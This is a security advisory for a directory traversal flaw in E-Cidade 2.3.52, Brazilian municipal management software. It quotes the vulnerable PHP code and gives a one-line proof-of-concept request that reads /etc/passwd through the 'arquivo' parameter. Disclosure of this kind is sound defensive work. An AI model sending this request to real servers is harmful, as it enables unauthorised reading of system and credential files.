E-Cidade 2.3.52 Directory Traversal

Credit: vesp3r
Risk: Medium
Local: No
Remote: Yes

E-cidade Directory Traversal Vendor: DBSeller (www.dbseller.com.br) Product: E-cidade - Software Publico de Gestao Municipal Vulnerability discovered by vesp3r - vesp3r7c3@gmail.com Product Description -------------------- Intended to computerize the management of Brazilian Municipalities.This includes computerized integration between municipal entities: City Hall, Town Hall, Local Government, Foundations and others. The economy of resources is only one of the advantages in the adoption of e-cidade and the freedom of choice of suppliers and ensuring continuity of the system, once supported by the Ministry of Planning. Modules: - HUMAN RESOURCES MANAGEMENT - GEOPROCESSING - HEALTH MANAGEMENT EDUCATION MANAGEMENT - BUSINESS INTELIGENCE - FINANCIAL MANAGEMENT - TAX MANAGEMENT - ASSET MANAGEMENT Advisory Timeline ----------------- No vendor response Vulnerable version: ------------------- 2.3.52 and prior Vulnerability ------------- The vulnerability exists within 'mostrarelatorio.php' file of the package: the 'arquivo' variable is requested via GET method. It is passed as a variable to another variable called 'arq'. This variable incorporates a call to the file() function. /fpdf151/mostrarelatorio.php: ----------------------------- [Snip...] if(!file_exists("/tmp/".$arquivo)) { echo "<script> alert('Codigo nao Encontrado.'); window.close(); </script>"; exit; } [Snip...] $pdf=new PDF(); $pdf->Open(); $pdf->AliasNbPages(); $pdf->AddPage(); $arq = file("/tmp/".$arquivo); [Snip...] Proof of Concept --------------- GET /e-cidade/fpdf151/mostrarelatorio.php?arquivo=./../../../../../../etc/passwd HTTP/1.1

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